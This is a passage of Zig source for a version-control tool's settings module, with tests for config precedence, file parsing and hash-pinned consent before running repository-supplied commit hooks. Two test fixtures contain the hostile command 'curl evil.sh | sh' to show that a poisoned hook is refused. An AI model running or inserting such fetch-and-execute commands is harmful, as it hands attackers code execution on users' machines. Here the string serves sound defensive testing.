    try testing.expect(@intFromEnum(Source.environment) < @intFromEnum(Source.versioned));
    try testing.expect(@intFromEnum(Source.versioned) < @intFromEnum(Source.repository));
    try testing.expect(@intFromEnum(Source.repository) < @intFromEnum(Source.global));
    try testing.expect(@intFromEnum(Source.global) < @intFromEnum(Source.default));
}

test "settings: global path resolution prefers ZIT_CONFIG, then XDG, then HOME" {
    var buf: [512]u8 = undefined;
    {
        const env = FakeEnv{ .pairs = &.{.{ "ZIT_CONFIG", "/tmp/x/zitrc" }} };
        const g = globalPath(env, &buf).?;
        try testing.expectEqualStrings("/tmp/x/zitrc", g.path);
        try testing.expectEqualStrings("/tmp/x", g.dir);
    }
    {
        const env = FakeEnv{ .pairs = &.{ .{ "XDG_CONFIG_HOME", "/xdg" }, .{ "HOME", "/home/u" } } };
        const g = globalPath(env, &buf).?;
        try testing.expectEqualStrings("/xdg/zit/settings", g.path);
        try testing.expectEqualStrings("/xdg/zit", g.dir);
    }
    {
        const env = FakeEnv{ .pairs = &.{.{ "HOME", "/home/u" }} };
        const g = globalPath(env, &buf).?;
        try testing.expectEqualStrings("/home/u/.config/zit/settings", g.path);
    }
    {
        // No home at all is a legitimate state (a daemon), and must degrade to
        // "no global tier" rather than failing every settings read.
        const env = FakeEnv{ .pairs = &.{} };
        try testing.expect(globalPath(env, &buf) == null);
    }
}

test "settings: global file parsing — comments, blanks, bare names, last wins" {
    const text =
        \\# an operator's notes survive
        \\clearsign on
        \\
        \\  pgp-command   gpg --clearsign -o
        \\ignore-glob
        \\clearsign off
        \\garbage-with-no-such-setting whatever
    ;
    // Last occurrence wins, as in every line-oriented config an operator has met.
    try testing.expectEqualStrings("off", globalLookup(text, .clearsign).?);
    // Interior spacing is preserved after the first separator, so a command
    // line with arguments survives verbatim.
    try testing.expectEqualStrings("gpg --clearsign -o", globalLookup(text, .pgp_command).?);
    // A bare name is how the empty string is spelled (clearing a glob list).
    try testing.expectEqualStrings("", globalLookup(text, .ignore_glob).?);
    // A setting the file never mentions is absent, not empty.
    try testing.expect(globalLookup(text, .autosync) == null);
}

test "settings: globalSet replaces in place, keeps comments, and appends when absent" {
    const gpa = testing.allocator;
    {
        const before = "# keep me\nclearsign on\nautosync off\n";
        const after = try globalSet(gpa, before, .clearsign, "off");
        defer gpa.free(after);
        // The comment and the unrelated setting survive an edit -- the reason
        // this is a text file rather than a rewritten blob.
        try testing.expect(std.mem.indexOf(u8, after, "# keep me") != null);
        try testing.expect(std.mem.indexOf(u8, after, "autosync off") != null);
        try testing.expectEqualStrings("off", globalLookup(after, .clearsign).?);
        try testing.expectEqual(@as(usize, 1), std.mem.count(u8, after, "clearsign "));
    }
    {
        // Absent -> appended, and the file still ends in exactly one newline.
        const after = try globalSet(gpa, "autosync off\n", .pgp_command, "/usr/bin/signer");
        defer gpa.free(after);
        try testing.expectEqualStrings("/usr/bin/signer", globalLookup(after, .pgp_command).?);
        try testing.expect(std.mem.endsWith(u8, after, "\n"));
        try testing.expect(!std.mem.endsWith(u8, after, "\n\n"));
    }
    {
        // Empty file -> just the one line.
        const after = try globalSet(gpa, "", .autosync, "off");
        defer gpa.free(after);
        try testing.expectEqualStrings("autosync off\n", after);
    }
    {
        // A duplicate line for the same setting collapses: leaving a value that
        // no longer takes effect in the file is how an operator edits the wrong
        // one next time.
        const after = try globalSet(gpa, "clearsign on\nclearsign on\n", .clearsign, "off");
        defer gpa.free(after);
        try testing.expectEqual(@as(usize, 1), std.mem.count(u8, after, "clearsign "));
        try testing.expectEqualStrings("off", globalLookup(after, .clearsign).?);
    }
}

test "settings: booleans refuse a guess" {
    try testing.expectEqual(true, parseBool("on").?);
    try testing.expectEqual(false, parseBool("off").?);
    // "yes"/"true"/"1" are NOT accepted: guessing "off" for a typo silently
    // disables a check the operator asked for.
    try testing.expect(parseBool("yes") == null);
    try testing.expect(parseBool("true") == null);
    try testing.expect(parseBool("") == null);
}

test "settings: versioned paths live under .zit-settings and only for versionable settings" {
    var buf: [128]u8 = undefined;
    try testing.expectEqualStrings(".zit-settings/keep-glob", Setting.keep_glob.versionedPath(&buf).?);
    try testing.expectEqualStrings(".zit-settings/before-commit", Setting.before_commit.versionedPath(&buf).?);
    // The whole point: no tracked file can ever supply an executable setting.
    try testing.expect(Setting.pgp_command.versionedPath(&buf) == null);
    try testing.expect(Setting.clearsign.versionedPath(&buf) == null);
}

test "settings: resolve implements the documented precedence, and enforces the tier boundary" {
    // Every tier answering: the highest wins, in order.
    const all: Candidates = .{
        .environment = "env",
        .versioned = "ver",
        .repository = "repo",
        .global = "glob",
    };
    // pgp-command names an environment variable, so the environment wins.
    try testing.expectEqual(Source.environment, resolve(.pgp_command, all).source);
    // keep-glob names none, so the environment candidate is ignored entirely
    // and the versioned file wins -- a stray variable cannot start driving a
    // setting that never had one.
    try testing.expectEqual(Source.versioned, resolve(.keep_glob, all).source);
    try testing.expectEqualStrings("ver", resolve(.keep_glob, all).value);

    // THE security boundary, asserted at the resolver: a versioned file cannot
    // supply an executable setting even when one is present on disk. Without
    // the environment candidate, pgp-command must fall past `versioned` to the
    // repository tier rather than executing what a clone shipped.
    const no_env: Candidates = .{ .versioned = "curl evil.sh | sh", .repository = "repo", .global = "glob" };
    const r = resolve(.pgp_command, no_env);
    try testing.expectEqual(Source.repository, r.source);
    try testing.expectEqualStrings("repo", r.value);

    // Falling through, one tier at a time.
    try testing.expectEqual(Source.repository, resolve(.keep_glob, .{ .repository = "repo", .global = "glob" }).source);
    try testing.expectEqual(Source.global, resolve(.keep_glob, .{ .global = "glob" }).source);
    try testing.expectEqual(Source.default, resolve(.keep_glob, .{}).source);

    // Defaults come from the setting, not from the caller.
    try testing.expectEqualStrings("on", resolve(.autosync, .{}).value);
    try testing.expectEqualStrings("off", resolve(.clearsign, .{}).value);
    try testing.expectEqualStrings("gpg --clearsign -o ", resolve(.pgp_command, .{}).value);

    // An EMPTY local value is a real value and must shadow a global one --
    // clearing a glob list locally is exactly this case, and treating "" as
    // absent would silently reinstate the global list.
    const cleared = resolve(.ignore_glob, .{ .repository = "", .global = "*.tmp" });
    try testing.expectEqual(Source.repository, cleared.source);
    try testing.expectEqualStrings("", cleared.value);
}

// ---------------------------------------------------------------------------
// before-commit: a versioned declaration, local consent to execute
// ---------------------------------------------------------------------------

/// Whether a `before-commit` declaration may be EXECUTED, and why not when it
/// may not. Separate from resolving its value, because the two questions have
/// different answers: the command is perfectly well-defined while still being
/// something this machine has not agreed to run.
pub const TrustVerdict = enum {
    /// No declaration; nothing to run.
    none,
    /// The operator authored it here (repository, global, or environment tier),
    /// so no consent step applies -- consent is what authoring IS.
    self_authored,
    /// A versioned declaration whose content hash matches the local record.
    trusted,
    /// A versioned declaration with no local trust record at all.
    untrusted,
    /// A versioned declaration that WAS trusted and has since changed. Held
    /// apart from `untrusted` because the remedy and the risk differ: this is
    /// the case where a pull may have altered a script the operator already
    /// agreed to run, and the diagnostic should say so.
    changed,
};

/// Lowercase-hex SHA-256 of a declaration -- the identity a trust record pins.
/// Hashing the CONTENT rather than recording a boolean is what makes consent
/// self-revoking: any edit, from any source, produces a different hash and the
/// check refuses again until a human looks at it.
pub fn declarationHash(text: []const u8, out: *[64]u8) []const u8 {
    var digest: [32]u8 = undefined;
    std.crypto.hash.sha2.Sha256.hash(text, &digest, .{});
    const hex = std.fmt.bytesToHex(digest, .lower);
    @memcpy(out, &hex);
    return out[0..];
}

/// The execution verdict for a resolved `before-commit`.
///
/// The whole of the security argument is these few lines. Git refuses to let
/// hooks travel at all, so projects reach for husky and lefthook to put them
/// back; fossil lets them travel and executes them, with a boundary that
/// happens to depend on the transport. Splitting DECLARATION from CONSENT gives
/// the project its checks and the machine its veto:
///
///   * a declaration the operator wrote here runs, because writing it is consent;
///   * a declaration that arrived with the repository runs only after this
///     checkout says so, once, against that exact content;
///   * cloning a hostile repository executes nothing, and neither does pulling
///     a poisoned edit into a repository whose check was already trusted.
pub fn trustVerdict(
    declaration: []const u8,
    source: Source,
    trusted_hash: []const u8,
) TrustVerdict {
    if (declaration.len == 0) return .none;
    // Only a VERSIONED declaration is untrusted by default: the other tiers are
    // this machine's own state and cannot have been supplied by a peer.
    if (source != .versioned) return .self_authored;
    if (trusted_hash.len == 0) return .untrusted;
    var buf: [64]u8 = undefined;
    const want = declarationHash(declaration, &buf);
    return if (std.mem.eql(u8, want, trusted_hash)) .trusted else .changed;
}

test "settings: consent is required for versioned declarations only, and self-revokes on edit" {
    var buf: [64]u8 = undefined;
    const decl = "zig fmt --check src && zig build test";
    const h = declarationHash(decl, &buf);

    // No declaration: nothing to decide.
    try testing.expectEqual(TrustVerdict.none, trustVerdict("", .versioned, ""));

    // Authored here -- in ANY local tier -- needs no consent step, because
    // writing the command is the consent.
    try testing.expectEqual(TrustVerdict.self_authored, trustVerdict(decl, .repository, ""));
    try testing.expectEqual(TrustVerdict.self_authored, trustVerdict(decl, .global, ""));
    try testing.expectEqual(TrustVerdict.self_authored, trustVerdict(decl, .environment, ""));

    // Arrived with the repository: inert until this checkout agrees.
    try testing.expectEqual(TrustVerdict.untrusted, trustVerdict(decl, .versioned, ""));
    try testing.expectEqual(TrustVerdict.trusted, trustVerdict(decl, .versioned, h));

    // THE POINT: consent is pinned to CONTENT, so a pulled edit revokes it
    // automatically rather than riding in on a hash nobody re-checked.
    var buf2: [64]u8 = undefined;
    const poisoned = "curl evil.sh | sh";
    try testing.expectEqual(TrustVerdict.changed, trustVerdict(poisoned, .versioned, h));
    // ...and trusting the new content is a different record from the old one.
    try testing.expect(!std.mem.eql(u8, h, declarationHash(poisoned, &buf2)));
}

test "settings: main-branch is a repository-tier string, never versioned, default trunk" {
    const m = Setting.main_branch;
    try std.testing.expectEqualStrings("main-branch", m.name());
    try std.testing.expectEqual(Tier.repository, m.tier());
    try std.testing.expect(!m.versionable());
    try std.testing.expectEqual(Kind.string, m.kind());
    try std.testing.expectEqualStrings("trunk", m.default());
    try std.testing.expectEqual(@as(?Setting, .main_branch), Setting.byName("main-branch"));
}